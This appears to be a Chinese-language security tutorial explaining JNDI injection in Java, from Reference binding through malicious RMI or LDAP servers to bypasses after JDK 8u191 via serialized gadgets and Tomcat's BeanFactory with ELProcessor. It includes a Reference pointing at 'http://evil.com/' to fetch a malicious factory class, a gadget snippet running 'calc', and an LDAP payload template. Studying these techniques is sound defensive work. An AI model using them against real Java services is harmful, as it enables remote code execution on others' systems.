前言
在众多的java反序列化rce中,如果这些rce漏洞是一棵树的形状,那么jndi注入一定是其中的某个树枝的交叉口。
JNDI(Java Naming and Directory Interface)是一个应用程序设计的 API,一种标准的 Java 命名系统接口。
JNDI 提供统一的客户端 API,通过不同的JNDI服务供应接口(SPI)的实现,由管理者将 JNDI API 映射为特定的命名服务和目录系统,使得 Java 应用程序可以和这些命名服务和目录服务之间进行交互。通俗的说就是若程序定义了 JDNI 中的接口,则就可以通过该接口 API 访问系统的命令服务和目录服务。
没有JNDI之前,对于一个外部依赖,像Mysql数据库,程序开发的过程中需要将具体的数据库地址参数写入到Java代码中,程序才能找到具体的数据库地址进行链接。那么数据库配置这些信息可能经常变动的。这就需要开发经常手动去调整配置。有了JNDI后,程序员可以不去管数据库相关的配置信息,这些配置都交给J2EE容器来配置和管理,程序员只要对这些配置和管理进行引用即可。
其实就是给资源起个名字,再根据名字来找资源。
工厂类
在 JNDI 的上下文中,“工厂类”特指实现了 javax.naming.spi.ObjectFactory
接口的类。
这个接口的定义是
public interface ObjectFactory {
Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?,?> environment) throws Exception;
}
任何被 JNDI 用作解析 Reference
的工厂类,必须实现这个方法,否则无法参与对象实例化流程。
很多类即使名字中带了 “Factory”,比如:
com.example.MyConnectionFactory
也未必实现了 ObjectFactory
接口,这种类就不是JNDI意义上的“工厂类”,不会被 Reference
用来加载目标对象。
客户端在本地根据
Reference.getFactoryClassName()
加载工厂类,比如org.apache.naming.factory.BeanFactory
。JNDI 机制调用这个类的
getObjectInstance()
方法来还原目标对象。如果这个
ObjectFactory
类不安全,在还原对象时就可能触发 RCE。
jndi进行rce的本质
JNDI注入出现在客户端的lookup()函数中,如果lookup()的参数可控就可能被攻击。
我们先来理解JNDI中的RMI服务端与References绑定机制。
绑定对象有两种方法,一种是直接绑定远程对象,一种是通过References类绑定外部对象。
在 Java 中,RMI 的绑定方式主要是直接绑定远程对象,而使用 Reference
类绑定对象是 JNDI的机制
在 某些特定场景下(如 Java 反序列化漏洞、JNDI 注入攻击)中,攻击者会通过 RMI Registry 返回一个 JNDI Reference
对象,这会让人误以为 “RMI 也支持 Reference 绑定”,但这只是 JNDI 请求通过 RMI 返回 Reference 的攻击技巧,不是标准 RMI 功能。
攻击者搭建一个恶意的 RMI 服务端(或 LDAP 服务端),当客户端使用 JNDI 发起查找请求时,攻击者返回一个 Reference
对象。这个对象会触发客户端的 远程类加载(Remote Class Loading) 或 反射调用。
JNDI 判断返回的是 Reference
类型,会尝试通过其描述来构造对象:
// Reference 中的信息
Reference ref = new Reference(
"ExploitClass", // className
"EvilObjectFactory", // factory class
"http://evil.com/" // factory location
);
当jndi接收到这样的对象的时候,会尝试用EvilObjectFactory去
创建对象,JNDI 会先从 http://evil.com/
下载 EvilObjectFactory.class
,然后去调用该工厂的 getObjectInstance()
方法
我们跟入lookup()函数的代码中,可以看到JNDI中对Reference类的处理逻辑,最终会调用NamingManager.getObjectInstance():
工厂中可以写任意 Java 代码,定义getObjectInstance的内容(如 Runtime.getRuntime().exec(...)
)。
这就是 远程类加载 + 本地执行恶意代码 的核心。
目标代码中调用了InitialContext.lookup(URI),且URI为用户可控;
攻击者控制URI参数为恶意的RMI服务地址,如:rmi://hacker_rmi_server//name;(或者是ldap)
攻击者RMI服务器向目标返回一个Reference对象,Reference对象中指定某个精心构造的Factory类;
目标在进行lookup()操作时,会动态加载并实例化Factory类,接着调用factory.getObjectInstance()获取外部远程对象实例;
攻击者可以在Factory类文件的构造方法、静态代码块、getObjectInstance()方法等处写入恶意代码,达到RCE的效果;
高版本下
JAVA 8u191时,JNDI客户端在接受远程引用对象的时候,不使用classFactoryLoction,但是我们还是可以通过JavaFactory来指定一个任意的工厂类,这个类时用于从攻击者控制的Reference对象中提取真实的对象。
这个工厂类需要满足以下几个条件:
真实对象要求必须存在目标系统的classpath
工厂类必须实现 javax.naming.spi.ObjectFactory 接口,并且至少存在一个 getObjectInstance() 方法
接下来的问题就是,我们需要找到一个工厂类在classpath中,它对Reference的属性做了一些不安全的动作。
org.apache.naming.factory.BeanFactory 刚好满足条件并且存在被利用的可能,
org.apache.naming.factory.BeanFactory 默认存在于Tomcat依赖包中,所以使用也是非常广泛
org.apache.naming.factory.BeanFactory 在 getObjectInstance() 中会通过反射的方式实例化Reference所指向的任意Bean Class,并且会调用setter方法为所有的属性赋值。而该Bean Class的类名、属性、属性值,全都来自于Reference对象,均是攻击者可控的
很多师傅在刚了解的时候,都会存在疑问,为什么禁止远程加载了,攻击方式还是远程响应呢,其实这两个是不同的,禁止远程加载不等于禁止“出网”。
下面这张图的步骤4就是禁止的位置
虽然从 JDK 8u191 开始,禁用了 通过 LDAP 返回 Reference
对象并远程加载类(远程类加载) 的能力,但是还是可以返回reference,只是不会加载远程类,所以...
JNDI 默认仍会反序列化 LDAP 响应里的 javaSerializedData
字段
我们可以直接返回一个序列化后的 Gadget
对象(如 CommonsCollections、Groovy 等):
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(new CommonsCollections1Gadget("calc"));
LDAP 响应中插入序列化后的 Gadget:
dn: cn=Exploit
javaClassName: java.lang.Object
javaSerializedData: <字节数组:包含恶意对象>
客户端仍然会自动将 javaSerializedData
反序列化,执行 Gadget 触发命令执行
利用beanfactory
org.apache.naming.factory.BeanFactory#getObjectInstance中,包含了一段利用反射创建bean的代码。
可以利用BeanFactory工厂类加载ELProcessor类,Javax.el.ELProcessor类,存在一个eval方法,接收一个字符串,该字符串将表示要执行的Java表达式语言模板。 。取forceString的值,以等号逗号截取拿到键x和对应的method即ELProcessor的eval,并且填充了一个string类型的参数作为method的反射调用,最后通过method名和一个string的参数拿到eval函数。
BeanFactory 创建了一个任意bean类实例并执行了它所有的setter函数。这个任意bean类的名字、属性、属性值都来自于Reference对象,外部完全可控。基本上相当于一个任意类后门了。
除了el表达式之外还有groovy也可以,原理一样,以及MLet、SnakeYaml、XStream、MVEL、NativeLIbloader